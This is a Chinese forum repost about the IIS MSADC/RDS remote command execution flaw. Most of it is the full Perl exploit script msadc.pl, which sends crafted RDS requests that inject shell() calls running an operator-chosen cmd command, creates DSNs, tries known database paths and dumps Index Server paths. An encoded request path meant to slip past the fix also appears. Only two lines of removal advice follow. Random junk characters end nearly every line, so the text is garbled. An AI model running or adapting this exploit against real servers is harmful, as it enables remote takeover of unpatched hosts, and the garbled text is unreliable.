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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *nJy  
Sl,X*[HGd  
涉及程序: S}L$-7Ct  
Microsoft NT server r:pS[f|4\  
d&[Ct0!++u  
描述: ~*"]XE?M  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 S:!gj2q9|  
c#o(y6  
详细: %c+`8 wj  
如果你没有时间读详细内容的话,就删除: #9{N[t  
c:\Program Files\Common Files\System\Msadc\msadcs.dll NqyKR&;  
有关的安全问题就没有了。 u\-WArntc  
$Ro]]NUz|  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Su" 9`  
T%0vifoQ_$  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 o[Ojl .r<  
关于利用ODBC远程漏洞的描述,请参看: I ACpUB  
.quui\I3  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm U`YPzZp_  
99 W-sV  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 7G6XK   
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )@lZ~01~d  
t!}QG"ma  
这里不再论述。 #?=?<"*j  
yTt,/+I%gJ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: q8&2M  
j"G1D-S:  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [I6(;lq2  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ~)J]`el,Q  
^G :}%4  
j}P xq  
#将下面这段保存为txt文件,然后: "perl -x 文件名" )v\zaz  
M"XILNV-~  
#!perl 3JhT  
# `N;}Gf-'  
# MSADC/RDS 'usage' (aka exploit) script ( X(61[Lu  
# YY{0WWua  
# by rain.forest.puppy >i&"{GZ  
# {jyI7 r#X  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me {WokH;a/  
# beta test and find errors! kH;DAphk  
=[A5qwyv  
use Socket; use Getopt::Std; BhAWIH8@C  
getopts("e:vd:h:XR", \%args); Vx Vpl@  
CI#6 r8u  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; JJQS7,vG  
QLPb5{>KDS  
if (!defined $args{h} && !defined $args{R}) {  iH`Q4  
print qq~ ~vbyX  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 9 HiH6f^5  
-h <host> = host you want to scan (ip or domain) {+3 `{34e  
-d <seconds> = delay between calls, default 1 second h]+UK14m  
-X = dump Index Server path table, if available *jf%Wj)0M  
-v = verbose '9ki~jtf=  
-e = external dictionary file for step 5 a<NZC  
CD! Aa  
Or a -R will resume a command session +!~"o oQZh  
7^oO N+=d  
~; exit;} mhNX05D  
5V $H?MW>  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Yy 8? X9r.  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} n%S%a >IQj  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} >fq]c  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); xCQLfXK7  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} *2T"lpl  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } YAdk3y~pL  
CyV2=o!F w  
if (!defined $args{R}){ $ret = &has_msadc; &FpoMW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} /Kd9UQU  
i8h^~d2"  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" uGc0Lv4i/  
. "cmd /c "; 1PN!1=F}  
$in=<STDIN>; chomp $in; ke)}JU^"  
$command="cmd /c " . $in ; @zC p/fo3  
d:vuRK4+  
if (defined $args{R}) {&load; exit;} u\A L`'v  
7W MF8(j5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Oxp!G7qfo  
&try_btcustmr; "- ?uB Mz  
T Ob(  
print "\nStep 2: Trying to make our own DSN..."; sd5)We  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ]3\%i2NM  
`x:O&2  
print "\nStep 3: Trying known DSNs..."; gTQc=,3l3  
&known_dsn; FKH_o  
FX  %(<M  
print "\nStep 4: Trying known .mdbs..."; v;sWI"Fv!  
&known_mdb; h}U>K4BJ  
Wt M1nnJp  
if (defined $args{e}){ hh[@q*C  
print "\nStep 5: Trying dictionary of DSN names..."; @kPe/j/[1  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } fq[1|Q  
. #FJM2Xk  
print "Sorry Charley...maybe next time?\n"; Y2TXWl,Jk  
exit; m S4N%Q  
/8? u2 q  
############################################################################## lD#S:HX  
g7;OZ#\  
sub sendraw { # ripped and modded from whisker XOoz.GSQ  
sleep($delay); # it's a DoS on the server! At least on mine... Djr/!j  
my ($pstr)=@_; ,Dy9-o  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tu slkOE#  
die("Socket problems\n"); 20 Z/Y\  
if(connect(S,pack "SnA4x8",2,80,$target)){ i*)BFV_-  
select(S); $|=1; 0F%/R^mw  
print $pstr; my @in=<S>; [9;[g~;E%m  
select(STDOUT); close(S); o}=c (u  
return @in; D=jtXQF  
} else { die("Can't connect...\n"); }} 0B]c`$"aD  
rNoCmNm  
############################################################################## ]p@q.P  
)B9/P>c  
sub make_header { # make the HTTP request ^ AJ_  
my $msadc=<<EOT +7 mUX  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 A D%9;KQ8  
User-Agent: ACTIVEDATA v hGX&   
Host: $ip xqpq|U  
Content-Length: $clen z^o7&\:  
Connection: Keep-Alive tPb<*{eG  
HLX  #RQ  
ADCClientVersion:01.06 Sw.Kl 0M  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 mM2DZ^"j(  
EEP&Y?  
--!ADM!ROX!YOUR!WORLD! ;3\'}2^|l  
Content-Type: application/x-varg 8xt8kf*k  
Content-Length: $reqlen 4jw q$G  
_/NPXDL  
EOT )tx2lyY:  
; $msadc=~s/\n/\r\n/g; !q1XyQX  
return $msadc;} \HL66%b[  
RN2z/F Uf  
############################################################################## Fu>;hx]s  
G2dPm}sZG  
sub make_req { # make the RDS request nH}V:C  
my ($switch, $p1, $p2)=@_; (7C$'T-ZK  
my $req=""; my $t1, $t2, $query, $dsn; i 2 ='>  
p+;;01Z+_  
if ($switch==1){ # this is the btcustmr.mdb query 6~O;t'd  
$query="Select * from Customers where City=" . make_shell(); f{-,"6Y1  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . z .+J\  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #G\Ae:O  
-U{!'e8YiN  
elsif ($switch==2){ # this is general make table query ETm:KbS  
$query="create table AZZ (B int, C varchar(10))";  N8)]d  
$dsn="$p1";} v)aV(Oa  
GA"vJFQ  
elsif ($switch==3){ # this is general exploit table query 0v|qP  
$query="select * from AZZ where C=" . make_shell(); $+ORq3  
$dsn="$p1";} XPLm`Q|1#t  
qu0 q LM  
elsif ($switch==4){ # attempt to hork file info from index server ^ f[^.k$3d  
$query="select path from scope()"; y/>Nx7C0=2  
$dsn="Provider=MSIDXS;";} ~m4 LL[  
*rVI[k L  
elsif ($switch==5){ # bad query {S`Rr/E|%  
$query="select"; N}Or+:"O:q  
$dsn="$p1";} kyf(V)APPu  
x@*?~1ai  
$t1= make_unicode($query); y*E{X  
$t2= make_unicode($dsn); G_}oI|B  
$req = "\x02\x00\x03\x00"; Ckhw d  
$req.= "\x08\x00" . pack ("S1", length($t1)); AZ SaI  
$req.= "\x00\x00" . $t1 ; ,x utI  
$req.= "\x08\x00" . pack ("S1", length($t2)); L7"<a2J  
$req.= "\x00\x00" . $t2 ; C'PHbo:  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ab[V->>%  
return $req;} s$~H{za  
F(`Q62o@  
############################################################################## 65GC7 >[  
g&\;62lV%  
sub make_shell { # this makes the shell() statement (!a\23  
return "'|shell(\"$command\")|'";} jGYl*EBx  
^97[(89G9  
############################################################################## Ky*xAx:  
,=2)1I]  
sub make_unicode { # quick little function to convert to unicode @h\i<sh!^  
my ($in)=@_; my $out; 0R;`)V\^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _8 l=65GW  
return $out;} Q6n8,2*  
;\]DZV4?)r  
############################################################################## [6?x 6_M  
EcPvE=^c  
sub rdo_success { # checks for RDO return success (this is kludge) X*a7`aL  
my (@in) = @_; my $base=content_start(@in); $#_^uWN-M  
if($in[$base]=~/multipart\/mixed/){ u4xJ-Vu  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} lUiO|  
return 0;} `FK qVd  
'i;ofJ[.c  
############################################################################## o3`0x9{  
@"iNjqxh  
sub make_dsn { # this makes a DSN for us z'zC  
my @drives=("c","d","e","f"); r#d]"3tH  
print "\nMaking DSN: "; Ok phbAX  
foreach $drive (@drives) { h1#l12k^'  
print "$drive: "; u@aM8Na  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . .:/X~{  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="  HS|x  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); :I^4ILQCD  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; v%QC p  
return 0 if $2 eq "404"; # not found/doesn't exist <#~n+,  
if($2 eq "200") {  aqwW`\  
foreach $line (@results) { Lve$H(GHT  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} BbI),iP  
} return 0;} S;BMM8U  
nb@<UbabW}  
############################################################################## ZRUAw,T*  
&# @"^(} 6  
sub verify_exists { ,88%eX|  
my ($page)=@_; 8g/r8u~  
my @results=sendraw("GET $page HTTP/1.0\n\n"); R!WeSgKCs  
return $results[0];} K,*IfHi6[  
k,y#|bf,Y  
############################################################################## ">s0B5F7  
U}{\qs-zt  
sub try_btcustmr { !zxq9IhWR  
my @drives=("c","d","e","f"); +PO& z!F  
my @dirs=("winnt","winnt35","winnt351","win","windows"); tOPk x(  
d%Ku 'Jy  
foreach $dir (@dirs) { obw:@i#  
print "$dir -> "; # fun status so you can see progress U27ja|W^  
foreach $drive (@drives) { _K~?{".  
print "$drive: "; # ditto 7.C]ZcU  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; %;`3I$  
$reqlenlen=length( "$reqlen" ); V{0V/Nv  
$clen= 206 + $reqlenlen + $reqlen; -Q!?=JNtQ  
ezd@>(hJ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Kw>gg  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 4;w# mzd  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} _xdttO^N  
B^hK  
############################################################################## 7p18;Z+6>X  
*kDV ^RBfq  
sub odbc_error { <pUc( tPoz  
my (@in)=@_; my $base; j MA%`*r  
my $base = content_start(@in); _[ `"E'  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this s_,&"->  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <zu)=W'R]  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; qj?I*peK)  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wJF$<f7P  
return $in[$base+4].$in[$base+5].$in[$base+6];} UOI Z8Po  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; td+[Na0d  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1z[blNs&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} tQ4{:WPG  
Zn'y"@%t[  
############################################################################## T0}P 'q  
sQT,@'"  
sub verbose { Jaf=qwZ/`  
my ($in)=@_; j0jam:.p  
return if !$verbose; 5xG/>f n  
print STDOUT "\n$in\n";} !Jo.Un7  
t{/ EN)J  
############################################################################## 14\!FCe)!  
+'I8COoiv%  
sub save { . LNqU#a  
my ($p1, $p2, $p3, $p4)=@_; D%.<} vG  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; yM34GS=,J  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 1'* {Vm M  
close OUT;} @aGS~^U h  
Mq,_DQ  
############################################################################## vGPaWYV  
JGk,u6K7  
sub load { )^'wcBod,  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; M, UYDZ',  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); O4 Y;  
@p=<IN>; close(IN); jNseD  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); YJwz*@l  
$target= inet_aton($ip) || die("inet_aton problems"); __||cQ  
print "Resuming to $ip ..."; %K]nX#.B&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 0b}lwo,|\  
if($p[1]==1) { KBGJB`D*  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; uO-R:MC  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; |m7`:~ow  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); :hxZ2O?5_  
if (rdo_success(@results)){print "Success!\n";} ,K[B/tD{j  
else { print "failed\n"; verbose(odbc_error(@results));}} }~5xlg$B<<  
elsif ($p[1]==3){ K#{E87G(  
if(run_query("$p[3]")){ %x7l`.) N  
print "Success!\n";} else { print "failed\n"; }} 8JAT2a61ur  
elsif ($p[1]==4){ `24:Eg6r  
if(run_query($drvst . "$p[3]")){ )uyh  
print "Success!\n"; } else { print "failed\n"; }} y/2U:H  
exit;} Sq==)$G  
HM1y$ej  
############################################################################## IN]bAd8"  
j|WaWnl=  
sub create_table { P6 G/J-  
my ($in)=@_; Qs{Qg<}  
$reqlen=length( make_req(2,$in,"") ) - 28; ]R{=|  
$reqlenlen=length( "$reqlen" ); E]Hl&t/}  
$clen= 206 + $reqlenlen + $reqlen; o [ %Q&u  
my @results=sendraw(make_header() . make_req(2,$in,"")); ss 3fq}  
return 1 if rdo_success(@results); am05>c9  
my $temp= odbc_error(@results); verbose($temp); `\P:rn95;  
return 1 if $temp=~/Table 'AZZ' already exists/; Y<.F/iaH  
return 0;} Ic&t_B*i}]  
_>:g&pS/  
############################################################################## ?8 C+wW  
M !OI :v  
sub known_dsn { bvR*sT#rg  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go $Y0bjS2J  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", .< vg[  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 7\U1K^q  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /ADxHw`k  
{UZli[W1  
foreach $dSn (@dsns) { h?YjG^'9  
print "."; 0QIocha  
next if (!is_access("DSN=$dSn")); emS+%6U  
if(create_table("DSN=$dSn")){ y$V{yh[:  
print "$dSn successful\n"; NI s4v(!  
if(run_query("DSN=$dSn")){ @4B2O"z`  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { cmN0ya  
print "Something's borked. Use verbose next time\n";}}} print "\n";} L{fP_DIa  
3]Lk}0atpL  
############################################################################## pr0V)C6  
t1Khf  
sub is_access { #CQ>d8&  
my ($in)=@_; Yhw* `"X  
$reqlen=length( make_req(5,$in,"") ) - 28; khv!\^&DD  
$reqlenlen=length( "$reqlen" ); = xX^  
$clen= 206 + $reqlenlen + $reqlen; BK d(  
my @results=sendraw(make_header() . make_req(5,$in,"")); )Y&De)=  
my $temp= odbc_error(@results); EJtU(HmW  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Z#MODf0H@  
return 0;} BtHvfoT  
JN KZ'9  
############################################################################## .DvAX(2v  
LMG\jc?,  
sub run_query { M<~F>(wxA  
my ($in)=@_; C aJD*  
$reqlen=length( make_req(3,$in,"") ) - 28; )#ujF~w>  
$reqlenlen=length( "$reqlen" ); QT&{M #Ydn  
$clen= 206 + $reqlenlen + $reqlen; #=.h:_9  
my @results=sendraw(make_header() . make_req(3,$in,"")); #Aanv  
return 1 if rdo_success(@results); 0~1P&Qs<  
my $temp= odbc_error(@results); verbose($temp); n ~3c<{coZ  
return 0;} t+(CAP|,  
\!V6` @0KC  
##############################################################################  xBG1up<z  
dw4)4_  
sub known_mdb { +tN-X'u##  
my @drives=("c","d","e","f","g"); "&+0jfLY+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (P>vI'  
my $dir, $drive, $mdb; d<3"$%C  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; z"O-d<U5  
e#OU {2X  
# this is sparse, because I don't know of many BVNh>^W5B  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Nb9pdkf0  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", )w` Nkx  
"\\system32\\certmdb.mdb", 3z#;0n}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% u ?Xku8 1l  
BmJ?VJ}Y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", r#}Sy \  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ,`7GI*Vq  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Cp* n2  
"\\cfusion\\cfapps\\security\\realm_.mdb", 5,((JxX$  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 5k(#kyP  
"\\cfusion\\database\\cfexamples.mdb", fIcv}Y  
"\\cfusion\\database\\cfsnippets.mdb", E0pQRGPA  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", t]o gn(  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1<p"z,c  
"\\cfusion\\brighttiger\\database\\cleam.mdb", E>1USKxn  
"\\cfusion\\database\\smpolicy.mdb", -?'CUm*Od  
"\\cfusion\\database\cypress.mdb", 4yM8W\je  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", r/T DU[`&  
"\\website\\cgi-win\\dbsample.mdb", ^,5.vfES  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ^9RBG#ud  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _# F'rl6'  
); #these are just uR%H"f  
foreach $drive (@drives) { qpeK><o  
foreach $dir (@dirs){ *3K"Kc2  
foreach $mdb (@sysmdbs) { ~GeYB6F  
print "."; ,'673PR  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ FS}z_G|4]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; +J4t0x  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %dU}GYL_  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; >dl!Ep  
} else { print "Something's borked. Use verbose next time\n"; }}}}} N9ufTlq s  
y b G)=0  
foreach $drive (@drives) { !T{g& f  
foreach $mdb (@mdbs) { Wd}mC<rv1  
print "."; )pLq^j  
if(create_table($drv . $drive . $dir . $mdb)){ e`rY]X  
print "\n" . $drive . $dir . $mdb . " successful\n"; RVsNr rZ  
if(run_query($drv . $drive . $dir . $mdb)){ yi?&^nX@9,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ES2qX]I  
} else { print "Something's borked. Use verbose next time\n"; }}}} !tdfTf$  
} *^uj(8U  
`IoX'|C[h  
############################################################################## 8( D}y\  
yBj)#m5!  
sub hork_idx { K0g:Q*J-  
print "\nAttempting to dump Index Server tables...\n"; <X |h *  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; t_rDXhM  
$reqlen=length( make_req(4,"","") ) - 28; [s2V-'2  
$reqlenlen=length( "$reqlen" );  c$|dK  
$clen= 206 + $reqlenlen + $reqlen; 9-^p23.@[j  
my @results=sendraw2(make_header() . make_req(4,"","")); gNd J=r4  
if (rdo_success(@results)){ YeLOd  
my $max=@results; my $c; my %d; Sv@p!-m  
for($c=19; $c<$max; $c++){ h'x~"k1  
$results[$c]=~s/\x00//g; v1=X=H  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; bZXNo  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; wVOL7vh  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; uLM_KZ  
$d{"$1$2"}="";} Fc~w`~tv  
foreach $c (keys %d){ print "$c\n"; } H=#Jg;_w  
} else {print "Index server doesn't seem to be installed.\n"; }} 1znV>PO!  
2>k)=hl:  
############################################################################## R6XMBYK^  
m4wTg 8LJ  
sub dsn_dict { @RIEO%S  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); c1J)yv1y  
while(<IN>){ h$k3MhYDes  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; '>Y 2lqa  
next if (!is_access("DSN=$dSn")); |mmG s  
if(create_table("DSN=$dSn")){ He!!oKK>  
print "$dSn successful\n"; v`BG1&/|  
if(run_query("DSN=$dSn")){ lKUm_; m  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { %},G(>  
print "Something's borked. Use verbose next time\n";}}} \2xBOe-a]  
print "\n"; close(IN);} J\'5CG  
rb'GveW[  
############################################################################## jSYg\ Z5!  
O97bgj]  
sub sendraw2 { # ripped and modded from whisker })lT fy  
sleep($delay); # it's a DoS on the server! At least on mine... YX VJJd$U  
my ($pstr)=@_; 3{:<z 4>{  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rcmAVl:$>  
die("Socket problems\n"); &;U7/?Q  
if(connect(S,pack "SnA4x8",2,80,$target)){ ~UC/|t$  
print "Connected. Getting data"; zD;] sk4  
open(OUT,">raw.out"); my @in; Te}yQ=+  
select(S); $|=1; print $pstr; !u}3H|6~  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} J*!:ar  
close(OUT); select(STDOUT); close(S); return @in; `;CU[Ps?]  
} else { die("Can't connect...\n"); }} oB R(7U ~0  
 MK"  
############################################################################## Zw][c7%  
x,gE$dNzy  
sub content_start { # this will take in the server headers #L:P R>  
my (@in)=@_; my $c; "q^'5p]  
for ($c=1;$c<500;$c++) { &vX!7 Y  
if($in[$c] =~/^\x0d\x0a/){ [=6~"!P}  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } q)ql]iH  
else { return $c+1; }}} ~hslLUE  
return -1;} # it should never get here actually 9[{>JRm.  
`L#?eQ{  
############################################################################## 2^#UO=ct  
;sR6dT)  
sub funky { ?_>^<1I1  
my (@in)=@_; my $error=odbc_error(@in); G=HxD4l  
if($error=~/ADO could not find the specified provider/){ NJf(,Mr*|  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ]}7rWs[|1  
exit;} (TNY2Ke2 8  
if($error=~/A Handler is required/){ 7b,,%rUd  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6//FZ:q  
exit;} 7E3SvC|M  
if($error=~/specified Handler has denied Access/){ qf`xH"$  
print "\nServer has custom handler filters (they most likely are patched)\n"; `u\z!x'  
exit;}} 9m !!b{  
DsJn#>?Kh  
############################################################################## zk'K.! `^  
J.mewD!%z  
sub has_msadc { ioNa~F&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); YB B$uGA  
my $base=content_start(@results); G7A bhb,  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); N@*wi"Q  
return 0;} PT#eXS9_  
$l,Zd6<1q  
######################## CQzjCRS d  
ZoON5P>  
cia-OVX  
解决方案: qD;v/,?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;xO=Yhc+  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 9c^skNbS  
n!ZP?]FR  
拿出来充数 哈哈
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